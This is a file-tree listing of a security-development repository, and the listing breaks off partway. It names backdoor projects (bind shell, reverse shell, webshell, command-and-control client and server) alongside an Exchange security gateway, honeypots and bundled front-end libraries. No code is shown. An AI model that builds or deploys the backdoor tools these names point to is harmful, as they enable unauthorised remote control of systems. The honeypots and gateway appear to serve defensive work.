├── .idea ├── modules.xml ├── sec-dev-in-action-src.iml ├── vcs.xml └── workspace.xml ├── 001.jpg ├── 002.jpg ├── README.md ├── backdoor ├── .idea │ ├── .gitignore │ ├── backdoor.iml │ ├── misc.xml │ ├── modules.xml │ └── vcs.xml ├── bind_shell │ ├── .idea │ │ ├── bind_shell.iml │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ └── main.go ├── command-control │ ├── .idea │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── command-control.iml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ ├── command-control-demo │ │ ├── client │ │ │ ├── .idea │ │ │ │ ├── client.iml │ │ │ │ ├── codeStyles │ │ │ │ │ └── codeStyleConfig.xml │ │ │ │ ├── misc.xml │ │ │ │ ├── modules.xml │ │ │ │ ├── thriftCompiler.xml │ │ │ │ ├── vcs.xml │ │ │ │ └── workspace.xml │ │ │ ├── go.mod │ │ │ ├── go.sum │ │ │ ├── main.go │ │ │ ├── models │ │ │ │ ├── agent.go │ │ │ │ └── command.go │ │ │ └── util │ │ │ │ ├── lib.go │ │ │ │ └── util.go │ │ └── server │ │ │ ├── .idea │ │ │ ├── codeStyles │ │ │ │ └── codeStyleConfig.xml │ │ │ ├── misc.xml │ │ │ ├── modules.xml │ │ │ ├── server.iml │ │ │ ├── thriftCompiler.xml │ │ │ ├── vcs.xml │ │ │ └── workspace.xml │ │ │ ├── c_c.db │ │ │ ├── cli │ │ │ ├── console.go │ │ │ ├── display.go │ │ │ ├── message.go │ │ │ └── shell.go │ │ │ ├── main.go │ │ │ ├── models │ │ │ ├── agent.go │ │ │ ├── command.go │ │ │ └── models.go │ │ │ └── routers │ │ │ └── routers.go │ └── command-control-final │ │ ├── client │ │ ├── .idea │ │ │ ├── client.iml │ │ │ ├── misc.xml │ │ │ ├── modules.xml │ │ │ └── workspace.xml │ │ ├── main.go │ │ ├── models │ │ │ ├── agent.go │ │ │ └── command.go │ │ └── util │ │ │ ├── lib.go │ │ │ └── util.go │ │ └── server │ │ ├── .idea │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── server.iml │ │ └── workspace.xml │ │ ├── c_c.db │ │ ├── certs │ │ ├── server.key │ │ └── server.pem │ │ ├── cli │ │ ├── console.go │ │ ├── display.go │ │ ├── message.go │ │ └── shell.go │ │ ├── main.go │ │ ├── models │ │ ├── agent.go │ │ ├── command.go │ │ └── models.go │ │ └── routers │ │ └── routers.go ├── nginx_lua_security │ ├── README.md │ ├── images │ │ ├── 000.png │ │ ├── 001.png │ │ ├── 002.png │ │ ├── 003.png │ │ ├── 004.png │ │ └── 005.png │ └── t.lua ├── reverse_shell │ ├── .idea │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── modules.xml │ │ ├── reverse_shell.iml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ └── main.go └── webshell │ ├── .idea │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── modules.xml │ ├── thriftCompiler.xml │ ├── vcs.xml │ ├── webshell.iml │ └── workspace.xml │ └── main.go ├── exchange-security-gateway ├── exchange-sec-gateway-api │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── wbxml_api.iml │ ├── README.md │ ├── conf │ │ └── app.ini │ ├── go.mod │ ├── go.sum │ ├── logger │ │ └── log.go │ ├── main.go │ ├── models │ │ ├── active_code.go │ │ ├── device_manager.go │ │ ├── ews_device_manager.go │ │ └── redis.go │ ├── public │ │ ├── css │ │ │ ├── common.css │ │ │ └── common.css.map │ │ ├── i18n │ │ │ └── i18n.js │ │ ├── imgs │ │ │ ├── actived.png │ │ │ └── refused.png │ │ ├── js │ │ │ ├── jquery.i18n.fallbacks.js │ │ │ ├── jquery.i18n.js │ │ │ ├── jquery.i18n.messagestore.js │ │ │ ├── jquery.i18n │ │ │ │ └── 1.0.4 │ │ │ │ │ ├── jquery.i18n.js │ │ │ │ │ └── jquery.i18n.messagestore.js │ │ │ └── jquery │ │ │ │ └── 1.8.1 │ │ │ │ └── jquery.min.js │ │ └── scss │ │ │ ├── common.scss │ │ │ └── reset.scss │ ├── routers │ │ ├── api.go │ │ ├── device_activation.go │ │ └── ews_activation.go │ ├── settings │ │ └── settings.go │ ├── templates │ │ ├── activeSync.html │ │ ├── active_ews.html │ │ ├── deviceState.html │ │ └── ews_state.html │ ├── util │ │ ├── dingding.go │ │ ├── mail.go │ │ ├── neixin.go │ │ ├── sms.go │ │ ├── wbxml.go │ │ └── weixin.go │ └── vars │ │ └── vars.go └── exchange-sec-gateway │ ├── .idea │ ├── .gitignore │ ├── exchange-sec-gateway.iml │ ├── markdown-navigator-enh.xml │ ├── markdown-navigator.xml │ ├── misc.xml │ ├── modules.xml │ └── vcs.xml │ ├── CHANGELOG.md │ ├── CHANGELOG_CN.md │ ├── CODE_STYLE.md │ ├── Contributing.md │ ├── DISCLAIMER │ ├── FAQ.md │ ├── FAQ_CN.md │ ├── LICENSE │ ├── Makefile │ ├── NOTICE │ ├── README.md │ ├── README_CN.md │ ├── benchmark │ ├── fake-apisix │ │ └── lua │ │ │ └── apisix.lua │ └── run.sh │ ├── bin │ └── apisix │ ├── dashboard │ ├── css │ │ ├── app.77a6d3bf.css │ │ ├── chunk-0e9b6916.6e4f3fbd.css │ │ ├── chunk-11654a8a.f879f4c3.css │ │ ├── chunk-132ea554.85d68ac2.css │ │ ├── chunk-31b32716.85d68ac2.css │ │ ├── chunk-38ba3d2f.6e4f3fbd.css │ │ ├── chunk-7ef9d764.b68bee2d.css │ │ ├── chunk-ad160a6c.d7e0e035.css │ │ ├── chunk-be341ddc.c680bc89.css │ │ ├── chunk-dbae6950.6e4f3fbd.css │ │ ├── chunk-dbb3d3a2.8db8c2e3.css │ │ ├── chunk-libs.ee57d822.css │ │ └── complex-table.b68bee2d.css │ ├── favicon.ico │ ├── fonts │ │ ├── element-icons.535877f5.woff │ │ └── element-icons.732389de.ttf │ ├── img │ │ └── icons │ │ │ ├── favicon-16x16.png │ │ │ └── favicon-32x32.png │ ├── index.html │ ├── js │ │ ├── app.b3d4ab87.js │ │ ├── chunk-0e9b6916.466bd1aa.js │ │ ├── chunk-11654a8a.124dddcc.js │ │ ├── chunk-132ea554.c9021c02.js │ │ ├── chunk-31b32716.6fe05cb2.js │ │ ├── chunk-38ba3d2f.a312de0b.js │ │ ├── chunk-450dda4e.7ea86d2a.js │ │ ├── chunk-7ef9d764.30211027.js │ │ ├── chunk-ad160a6c.59019bd3.js │ │ ├── chunk-be341ddc.03a1583e.js │ │ ├── chunk-dbae6950.9c5177d9.js │ │ ├── chunk-dbb3d3a2.df1056b0.js │ │ ├── chunk-elementUI.5bc123e3.js │ │ ├── chunk-libs.86f650f2.js │ │ ├── complex-table.c803df1f.js │ │ └── runtime.4126757c.js │ └── robots.txt │ ├── doc │ ├── README.md │ ├── README_CN.md │ ├── admin-api-cn.md │ ├── apisix-plugin-design.graffle │ ├── architecture-design-cn.md │ ├── architecture-design.md │ ├── benchmark-cn.md │ ├── benchmark.md │ ├── grpc-proxy-cn.md │ ├── grpc-proxy.md │ ├── health-check.md │ ├── how-to-build-cn.md │ ├── how-to-build.md │ ├── https-cn.md │ ├── https.md │ ├── images │ │ ├── apisix.png │ │ ├── benchmark-1.jpg │ │ ├── benchmark-2.jpg │ │ ├── consumer-internal.png │ │ ├── consumer-who.png │ │ ├── flamegraph-1.jpg │ │ ├── flamegraph-2.jpg │ │ ├── flow-load-plugin.png │ │ ├── flow-plugin-internal.png │ │ ├── latency-1.jpg │ │ ├── latency-2.jpg │ │ ├── plugin │ │ │ ├── jwt-auth-1.png │ │ │ ├── jwt-auth-2.png │ │ │ ├── key-auth-1.png │ │ │ ├── key-auth-2.png │ │ │ ├── limit-conn-1.png │ │ │ ├── limit-conn-2.png │ │ │ ├── limit-count-1.png │ │ │ ├── limit-count-2.png │ │ │ ├── limit-req-1.png │ │ │ ├── limit-req-2.png │ │ │ ├── prometheus-1.png │ │ │ ├── prometheus-2.png │ │ │ ├── prometheus01.png │ │ │ ├── prometheus02.png │ │ │ ├── zipkin-1.jpg │ │ │ ├── zipkin-1.png │ │ │ ├── zipkin-2.jpg │ │ │ └── zipkin-2.png │ │ ├── qq-group.png │ │ ├── routes-example.png │ │ ├── service-example.png │ │ └── upstream-example.png │ ├── install-dependencies.md │ ├── plugins-cn.md │ ├── plugins.md │ ├── plugins │ │ ├── grpc-transcoding-cn.md │ │ ├── grpc-transcoding.md │ │ ├── ip-restriction-cn.md │ │ ├── ip-restriction.md │ │ ├── jwt-auth-cn.md │ │ ├── jwt-auth.md │ │ ├── key-auth-cn.md │ │ ├── key-auth.md │ │ ├── limit-conn-cn.md │ │ ├── limit-conn.md │ │ ├── limit-count-cn.md │ │ ├── limit-count.md │ │ ├── limit-req-cn.md │ │ ├── limit-req.md │ │ ├── mqtt-proxy-cn.md │ │ ├── mqtt-proxy.md │ │ ├── prometheus-cn.md │ │ ├── prometheus.md │ │ ├── proxy-rewrite-cn.md │ │ ├── proxy-rewrite.md │ │ ├── redirect-cn.md │ │ ├── redirect.md │ │ ├── response-rewrite-cn.md │ │ ├── response-rewrite.md │ │ ├── serverless-cn.md │ │ ├── serverless.md │ │ ├── zipkin-cn.md │ │ └── zipkin.md │ ├── powered-by.md │ ├── router-radixtree.md │ ├── stand-alone-cn.md │ ├── stand-alone.md │ ├── stream-proxy-cn.md │ └── stream-proxy.md │ ├── logs │ └── placeholder.txt │ ├── lua │ ├── apisix.lua │ └── apisix │ │ ├── admin │ │ ├── consumers.lua │ │ ├── global_rules.lua │ │ ├── init.lua │ │ ├── plugins.lua │ │ ├── proto.lua │ │ ├── routes.lua │ │ ├── schema.lua │ │ ├── services.lua │ │ ├── ssl.lua │ │ ├── stream_routes.lua │ │ └── upstreams.lua │ │ ├── balancer.lua │ │ ├── consumer.lua │ │ ├── core.lua │ │ ├── core │ │ ├── config_etcd.lua │ │ ├── config_local.lua │ │ ├── config_yaml.lua │ │ ├── ctx.lua │ │ ├── etcd.lua │ │ ├── http.lua │ │ ├── id.lua │ │ ├── json.lua │ │ ├── log.lua │ │ ├── lrucache.lua │ │ ├── redis.lua │ │ ├── request.lua │ │ ├── response.lua │ │ ├── schema.lua │ │ ├── stringy.lua │ │ ├── table.lua │ │ ├── timer.lua │ │ ├── utils.lua │ │ └── version.lua │ │ ├── debug.lua │ │ ├── http │ │ ├── router │ │ │ ├── radixtree_host_uri.lua │ │ │ ├── radixtree_sni.lua │ │ │ └── radixtree_uri.lua │ │ └── service.lua │ │ ├── plugin.lua │ │ ├── plugins │ │ ├── example-plugin.lua │ │ ├── exchange-ews.lua │ │ ├── exchange-ews │ │ │ ├── README.md │ │ │ ├── active_code.lua │ │ │ ├── basic_auth.lua │ │ │ ├── device_manager.lua │ │ │ ├── exchange-ews.lua │ │ │ ├── ntlm.lua │ │ │ ├── send_notice.lua │ │ │ └── util.lua │ │ ├── exchange-mobile.lua │ │ ├── exchange-mobile │ │ │ ├── active_code.lua │ │ │ ├── basic_auth.lua │ │ │ ├── device_manager.lua │ │ │ ├── exchange-mobile.lua │ │ │ ├── send_notice.lua │ │ │ └── util.lua │ │ ├── exchange-owa.lua │ │ ├── exchange-owa │ │ │ ├── check_token.lua │ │ │ └── exchange_owa.lua │ │ ├── grpc-transcode.lua │ │ ├── grpc-transcode │ │ │ ├── proto.lua │ │ │ ├── request.lua │ │ │ ├── response.lua │ │ │ └── util.lua │ │ ├── heartbeat.lua │ │ ├── ip-restriction.lua │ │ ├── jwt-auth.lua │ │ ├── key-auth.lua │ │ ├── limit-conn.lua │ │ ├── limit-count.lua │ │ ├── limit-count │ │ │ └── limit-count-redis.lua │ │ ├── limit-req.lua │ │ ├── node-status.lua │ │ ├── openid-connect.lua │ │ ├── prometheus.lua │ │ ├── prometheus │ │ │ └── exporter.lua │ │ ├── proxy-rewrite.lua │ │ ├── redirect.lua │ │ ├── response-rewrite.lua │ │ ├── serverless-post-function.lua │ │ ├── serverless-pre-function.lua │ │ ├── serverless.lua │ │ ├── zipkin.lua │ │ └── zipkin │ │ │ ├── codec.lua │ │ │ ├── random_sampler.lua │ │ │ └── reporter.lua │ │ ├── router.lua │ │ ├── schema_def.lua │ │ └── stream │ │ ├── plugins │ │ └── mqtt-proxy.lua │ │ └── router │ │ └── ip_port.lua │ ├── rockspec │ ├── apisix-0.5-0.rockspec │ ├── apisix-0.6-0.rockspec │ ├── apisix-0.7-0.rockspec │ ├── apisix-0.8-0.rockspec │ ├── apisix-0.9-0.rockspec │ └── apisix-master-0.rockspec │ ├── t │ ├── APISIX.pm │ ├── admin │ │ ├── balancer.t │ │ ├── consumers.t │ │ ├── delete-service.t │ │ ├── delete-upstream.t │ │ ├── global-rules.t │ │ ├── health-check.t │ │ ├── plugins-reload.t │ │ ├── plugins.t │ │ ├── routes.t │ │ ├── schema.t │ │ ├── services.t │ │ ├── ssl.t │ │ ├── stream-routes.t │ │ └── upstream.t │ ├── apisix.luacov │ ├── config-center-yaml │ │ ├── route-service.t │ │ ├── route-upstream.t │ │ └── route.t │ ├── core │ │ ├── config.t │ │ ├── ctx.t │ │ ├── json.t │ │ ├── log.t │ │ ├── lrucache.t │ │ ├── request.t │ │ ├── schema.t │ │ ├── table.t │ │ ├── timer.t │ │ ├── uid.t │ │ └── utils.t │ ├── debug │ │ ├── debug-mode.t │ │ └── hook.t │ ├── grpc-proxy-test.sh │ ├── lib │ │ ├── server.lua │ │ └── test_admin.lua │ ├── node │ │ ├── chash-balance.t │ │ ├── consumer-plugin.t │ │ ├── global-rule.t │ │ ├── healthcheck-ipv6.t │ │ ├── healthcheck-multiple-worker.t │ │ ├── healthcheck-stop-checker.t │ │ ├── healthcheck.t │ │ ├── hosts.t │ │ ├── invalid-route.t │ │ ├── invalid-service.t │ │ ├── invalid-upstream.t │ │ ├── merge-route.t │ │ ├── not-exist-service.t │ │ ├── not-exist-upstream.t │ │ ├── remote-addr-ipv6.t │ │ ├── remote-addr.t │ │ ├── remote_addrs.t │ │ ├── route-domain.t │ │ ├── route-filter-func.t │ │ ├── route-host.t │ │ ├── route-uris.t │ │ ├── rr-balance.t │ │ ├── sanity-radixtree.t │ │ ├── timeout-upstream.t │ │ ├── upstream-domain.t │ │ ├── upstream-ipv6.t │ │ ├── upstream.t │ │ ├── vars.t │ │ └── wildcard-host.t │ ├── plugin │ │ ├── example.t │ │ ├── grpc-transcode.t │ │ ├── ip-restriction.t │ │ ├── jwt-auth.t │ │ ├── key-auth.t │ │ ├── limit-conn.t │ │ ├── limit-count-redis.t │ │ ├── limit-count.t │ │ ├── limit-req.t │ │ ├── node-status.t │ │ ├── openid-connect.t │ │ ├── prometheus.t │ │ ├── proxy-rewrite.t │ │ ├── redirect.t │ │ ├── response-rewrite.t │ │ ├── serverless.t │ │ └── zipkin.t │ ├── router │ │ ├── radixtree-host-uri.t │ │ ├── radixtree-host-uri2.t │ │ ├── radixtree-sni.t │ │ ├── radixtree-uri-host.t │ │ ├── radixtree-uri-multiple.t │ │ └── radixtree-uri-sanity.t │ ├── stream-node │ │ └── sanity.t │ └── stream-plugin │ │ └── mqtt-proxy.t │ └── utils │ ├── gen-install-folder.sh │ ├── install-apisix.sh │ └── install_yaml_conf.sh ├── honeypot ├── agent │ ├── .idea │ │ ├── .gitignore │ │ ├── agent.iml │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ ├── conf │ │ ├── app.ini │ │ └── policy.yaml │ ├── go.mod │ ├── go.sum │ ├── logger │ │ ├── http.go │ │ └── log.go │ ├── main.go │ ├── models │ │ ├── honeypot.go │ │ └── packet.go │ ├── modules │ │ ├── heartbeat.go │ │ └── policy.go │ ├── proxy │ │ └── proxy.go │ ├── settings │ │ └── settings.go │ ├── sniffer │ │ ├── misc.go │ │ ├── packets.go │ │ └── proces.go │ ├── util │ │ └── common.go │ └── vars │ │ └── vars.go ├── log_server │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── log_server.iml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ ├── conf │ │ └── app.ini │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── models │ │ ├── models.go │ │ ├── packet.go │ │ └── service.go │ ├── settings │ │ └── settings.go │ ├── util │ │ └── util.go │ ├── vars │ │ └── vars.go │ └── web │ │ ├── routers │ │ └── api.go │ │ └── web.go └── server │ ├── .idea │ ├── .gitignore │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── misc.xml │ ├── modules.xml │ ├── server.iml │ ├── thriftCompiler.xml │ └── vcs.xml │ ├── conf │ └── config.yaml │ ├── config │ └── config.go │ ├── go.mod │ ├── go.sum │ ├── logger │ ├── http.go │ └── log.go │ ├── main.go │ ├── proxy │ └── proxy.go │ ├── pusher │ └── message.go │ ├── services │ ├── mysql-server │ │ └── mysql.go │ ├── redis-server │ │ ├── redis.go │ │ └── redis │ │ │ ├── .gitignore │ │ │ ├── LICENSE │ │ │ ├── README.md │ │ │ ├── client.go │ │ │ ├── cmd_del.go │ │ │ ├── cmd_get.go │ │ │ ├── cmd_lpop.go │ │ │ ├── cmd_lpush.go │ │ │ ├── cmd_lrange.go │ │ │ ├── cmd_ping.go │ │ │ ├── cmd_rpop.go │ │ │ ├── cmd_rpush.go │ │ │ ├── cmd_set.go │ │ │ ├── cmd_ttl.go │ │ │ ├── command.go │ │ │ ├── keyexpire.go │ │ │ ├── keyexpire_test.go │ │ │ ├── list_test.go │ │ │ ├── redis.go │ │ │ ├── redis_test.go │ │ │ ├── redisdb.go │ │ │ ├── serve.go │ │ │ ├── t_list.go │ │ │ └── t_string.go │ ├── services.go │ ├── ssh-server │ │ └── ssh-auth.go │ └── web │ │ ├── routers │ │ └── index.go │ │ └── web.go │ ├── util │ ├── common.go │ └── util.go │ └── vars │ └── vars.go ├── proxy-honeypot ├── .gitattributes ├── .idea │ ├── .gitignore │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── misc.xml │ ├── modules.xml │ ├── thriftCompiler.xml │ ├── vcs.xml │ └── x-proxy.iml ├── README.md ├── agent │ ├── agent.go │ ├── build.sh │ ├── certs │ │ ├── ca.cert │ │ ├── ca.key │ │ ├── ca.key.pem │ │ ├── openssl-gen.sh │ │ └── openssl.cnf │ ├── cmd │ │ └── cmd.go │ ├── conf │ │ └── app.ini │ ├── go.mod │ ├── go.sum │ ├── log │ │ ├── http.go │ │ └── log.go │ ├── modules │ │ └── proxy.go │ ├── settings │ │ └── settings.go │ ├── util │ │ ├── api │ │ │ └── http.go │ │ ├── proxy.go │ │ └── util.go │ └── vars │ │ └── vars.go ├── manager │ ├── .idea │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── encodings.xml │ │ ├── manager.iml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ ├── build.sh │ ├── conf │ │ └── app.ini │ ├── go.mod │ ├── go.sum │ ├── logger │ │ └── log.go │ ├── manager.go │ ├── models │ │ ├── dash.go │ │ ├── models.go │ │ ├── password.go │ │ ├── record.go │ │ ├── tongji.go │ │ └── users.go │ ├── public │ │ ├── css │ │ │ └── main.css │ │ ├── js │ │ │ └── common.js │ │ └── lib │ │ │ ├── adminLET2 │ │ │ ├── css │ │ │ │ ├── AdminLTE.css │ │ │ │ ├── AdminLTE.min.css │ │ │ │ ├── alt │ │ │ │ │ ├── AdminLTE-bootstrap-social.css │ │ │ │ │ ├── AdminLTE-bootstrap-social.min.css │ │ │ │ │ ├── AdminLTE-fullcalendar.css │ │ │ │ │ ├── AdminLTE-fullcalendar.min.css │ │ │ │ │ ├── AdminLTE-select2.css │ │ │ │ │ ├── AdminLTE-select2.min.css │ │ │ │ │ ├── AdminLTE-without-plugins.css │ │ │ │ │ └── AdminLTE-without-plugins.min.css │ │ │ │ └── skins │ │ │ │ │ ├── _all-skins.css │ │ │ │ │ ├── _all-skins.min.css │ │ │ │ │ ├── skin-black-light.css │ │ │ │ │ ├── skin-black-light.min.css │ │ │ │ │ ├── skin-black.css │ │ │ │ │ ├── skin-black.min.css │ │ │ │ │ ├── skin-blue-light.css │ │ │ │ │ ├── skin-blue-light.min.css │ │ │ │ │ ├── skin-blue.css │ │ │ │ │ ├── skin-blue.min.css │ │ │ │ │ ├── skin-green-light.css │ │ │ │ │ ├── skin-green-light.min.css │ │ │ │ │ ├── skin-green.css │ │ │ │ │ ├── skin-green.min.css │ │ │ │ │ ├── skin-purple-light.css │ │ │ │ │ ├── skin-purple-light.min.css │ │ │ │ │ ├── skin-purple.css │ │ │ │ │ ├── skin-purple.min.css │ │ │ │ │ ├── skin-red-light.css │ │ │ │ │ ├── skin-red-light.min.css │ │ │ │ │ ├── skin-red.css │ │ │ │ │ ├── skin-red.min.css │ │ │ │ │ ├── skin-yellow-light.css │ │ │ │ │ ├── skin-yellow-light.min.css │ │ │ │ │ ├── skin-yellow.css │ │ │ │ │ └── skin-yellow.min.css │ │ │ ├── img │ │ │ │ ├── avatar.png │ │ │ │ ├── avatar04.png │ │ │ │ ├── avatar2.png │ │ │ │ ├── avatar3.png │ │ │ │ ├── avatar5.png │ │ │ │ ├── boxed-bg.jpg │ │ │ │ ├── boxed-bg.png │ │ │ │ ├── credit │ │ │ │ │ ├── american-express.png │ │ │ │ │ ├── cirrus.png │ │ │ │ │ ├── mastercard.png │ │ │ │ │ ├── mestro.png │ │ │ │ │ ├── paypal.png │ │ │ │ │ ├── paypal2.png │ │ │ │ │ └── visa.png │ │ │ │ ├── default-50x50.gif │ │ │ │ ├── icons.png │ │ │ │ ├── photo1.png │ │ │ │ ├── photo2.png │ │ │ │ ├── photo3.jpg │ │ │ │ ├── photo4.jpg │ │ │ │ ├── user1-128x128.jpg │ │ │ │ ├── user2-160x160.jpg │ │ │ │ ├── user3-128x128.jpg │ │ │ │ ├── user4-128x128.jpg │ │ │ │ ├── user5-128x128.jpg │ │ │ │ ├── user6-128x128.jpg │ │ │ │ ├── user7-128x128.jpg │ │ │ │ └── user8-128x128.jpg │ │ │ └── js │ │ │ │ ├── app.js │ │ │ │ ├── app.min.js │ │ │ │ ├── demo.js │ │ │ │ └── pages │ │ │ │ ├── dashboard.js │ │ │ │ └── dashboard2.js │ │ │ ├── bootbox.min.js │ │ │ ├── bootstrap │ │ │ ├── css │ │ │ │ ├── bootstrap-theme.css │ │ │ │ ├── bootstrap-theme.css.map │ │ │ │ ├── bootstrap-theme.min.css │ │ │ │ ├── bootstrap-theme.min.css.map │ │ │ │ ├── bootstrap.css │ │ │ │ ├── bootstrap.css.map │ │ │ │ ├── bootstrap.min.css │ │ │ │ └── bootstrap.min.css.map │ │ │ ├── fonts │ │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ │ ├── glyphicons-halflings-regular.svg │ │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ │ ├── glyphicons-halflings-regular.woff │ │ │ │ └── glyphicons-halflings-regular.woff2 │ │ │ └── js │ │ │ │ ├── bootstrap.js │ │ │ │ ├── bootstrap.min.js │ │ │ │ └── npm.js │ │ │ ├── code_prettify │ │ │ ├── lang-apollo.js │ │ │ ├── lang-basic.js │ │ │ ├── lang-clj.js │ │ │ ├── lang-css.js │ │ │ ├── lang-dart.js │ │ │ ├── lang-erlang.js │ │ │ ├── lang-go.js │ │ │ ├── lang-hs.js │ │ │ ├── lang-lisp.js │ │ │ ├── lang-llvm.js │ │ │ ├── lang-lua.js │ │ │ ├── lang-matlab.js │ │ │ ├── lang-ml.js │ │ │ ├── lang-mumps.js │ │ │ ├── lang-n.js │ │ │ ├── lang-pascal.js │ │ │ ├── lang-proto.js │ │ │ ├── lang-r.js │ │ │ ├── lang-rd.js │ │ │ ├── lang-scala.js │ │ │ ├── lang-sql.js │ │ │ ├── lang-tcl.js │ │ │ ├── lang-tex.js │ │ │ ├── lang-vb.js │ │ │ ├── lang-vhdl.js │ │ │ ├── lang-wiki.js │ │ │ ├── lang-xq.js │ │ │ ├── lang-yaml.js │ │ │ ├── prettify.css │ │ │ ├── prettify.js │ │ │ └── run_prettify.js │ │ │ ├── datatables │ │ │ ├── dataTables.bootstrap.css │ │ │ ├── dataTables.bootstrap.js │ │ │ ├── dataTables.bootstrap.min.js │ │ │ ├── extensions │ │ │ │ ├── AutoFill │ │ │ │ │ ├── Readme.txt │ │ │ │ │ ├── css │ │ │ │ │ │ ├── dataTables.autoFill.css │ │ │ │ │ │ └── dataTables.autoFill.min.css │ │ │ │ │ ├── examples │ │ │ │ │ │ ├── columns.html │ │ │ │ │ │ ├── complete-callback.html │ │ │ │ │ │ ├── fill-both.html │ │ │ │ │ │ ├── fill-horizontal.html │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ ├── scrolling.html │ │ │ │ │ │ ├── simple.html │ │ │ │ │ │ └── step-callback.html │ │ │ │ │ ├── images │ │ │ │ │ │ └── filler.png │ │ │ │ │ └── js │ │ │ │ │ │ ├── dataTables.autoFill.js │ │ │ │ │ │ └── dataTables.autoFill.min.js │ │ │ │ ├── ColReorder │ │ │ │ │ ├── License.txt │ │ │ │ │ ├── Readme.md │ │ │ │ │ ├── css │ │ │ │ │ │ ├── dataTables.colReorder.css │ │ │ │ │ │ └── dataTables.colReorder.min.css │ │ │ │ │ ├── examples │ │ │ │ │ │ ├── alt_insert.html │ │ │ │ │ │ ├── col_filter.html │ │ │ │ │ │ ├── colvis.html │ │ │ │ │ │ ├── fixedcolumns.html │ │ │ │ │ │ ├── fixedheader.html │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ ├── jqueryui.html │ │ │ │ │ │ ├── new_init.html │ │ │ │ │ │ ├── predefined.html │ │ │ │ │ │ ├── realtime.html │ │ │ │ │ │ ├── reset.html │ │ │ │ │ │ ├── scrolling.html │ │ │ │ │ │ ├── server_side.html │ │ │ │ │ │ ├── simple.html │ │ │ │ │ │ └── state_save.html │ │ │ │ │ ├── images │ │ │ │ │ │ └── insert.png │ │ │ │ │ └── js │ │ │ │ │ │ ├── dataTables.colReorder.js │ │ │ │ │ │ └── dataTables.colReorder.min.js │ │ │ │ ├── ColVis │ │ │ │ │ ├── License.txt │ │ │ │ │ ├── Readme.md │ │ │ │ │ ├── css │ │ │ │ │ │ ├── dataTables.colVis.css │ │ │ │ │ │ ├── dataTables.colVis.min.css │ │ │ │ │ │ └── dataTables.colvis.jqueryui.css │ │ │ │ │ ├── examples │ │ │ │ │ │ ├── button_order.html │ │ │ │ │ │ ├── exclude_columns.html │ │ │ │ │ │ ├── group_columns.html │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ ├── jqueryui.html │ │ │ │ │ │ ├── mouseover.html │ │ │ │ │ │ ├── new_init.html │ │ │ │ │ │ ├── restore.html │ │ │ │ │ │ ├── simple.html │ │ │ │ │ │ ├── text.html │ │ │ │ │ │ ├── title_callback.html │ │ │ │ │ │ ├── two_tables.html │ │ │ │ │ │ └── two_tables_identical.html │ │ │ │ │ └── js │ │ │ │ │ │ ├── dataTables.colVis.js │ │ │ │ │ │ └── dataTables.colVis.min.js │ │ │ │ ├── FixedColumns │ │ │ │ │ ├── License.txt │ │ │ │ │ ├── Readme.md │ │ │ │ │ ├── css │ │ │ │ │ │ ├── dataTables.fixedColumns.css │ │ │ │ │ │ └── dataTables.fixedColumns.min.css │ │ │ │ │ ├── examples │ │ │ │ │ │ ├── bootstrap.html │ │ │ │ │ │ ├── col_filter.html │ │ │ │ │ │ ├── colvis.html │ │ │ │ │ │ ├── css_size.html │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ ├── index_column.html │ │ │ │ │ │ ├── left_right_columns.html │ │ │ │ │ │ ├── right_column.html │ │ │ │ │ │ ├── rowspan.html │ │ │ │ │ │ ├── server-side-processing.html │ │ │ │ │ │ ├── simple.html │ │ │ │ │ │ ├── size_fixed.html │ │ │ │ │ │ ├── size_fluid.html │ │ │ │ │ │ └── two_columns.html │ │ │ │ │ └── js │ │ │ │ │ │ ├── dataTables.fixedColumns.js │ │ │ │ │ │ └── dataTables.fixedColumns.min.js │ │ │ │ ├── FixedHeader │ │ │ │ │ ├── Readme.txt │ │ │ │ │ ├── css │ │ │ │ │ │ ├── dataTables.fixedHeader.css │ │ │ │ │ │ └── dataTables.fixedHeader.min.css │ │ │ │ │ ├── examples │ │ │ │ │ │ ├── header_footer.html │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ ├── simple.html │ │ │ │ │ │ ├── top_left_right.html │ │ │ │ │ │ ├── two_tables.html │ │ │ │ │ │ └── zIndexes.html │ │ │ │ │ └── js │ │ │ │ │ │ ├── dataTables.fixedHeader.js │ │ │ │ │ │ └── dataTables.fixedHeader.min.js │ │ │ │ ├── KeyTable │ │ │ │ │ ├── Readme.txt │ │ │ │ │ ├── css │ │ │ │ │ │ ├── dataTables.keyTable.css │ │ │ │ │ │ └── dataTables.keyTable.min.css │ │ │ │ │ ├── examples │ │ │ │ │ │ ├── events.html │ │ │ │ │ │ ├── html.html │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ ├── scrolling.html │ │ │ │ │ │ └── simple.html │ │ │ │ │ └── js │ │ │ │ │ │ ├── dataTables.keyTable.js │ │ │ 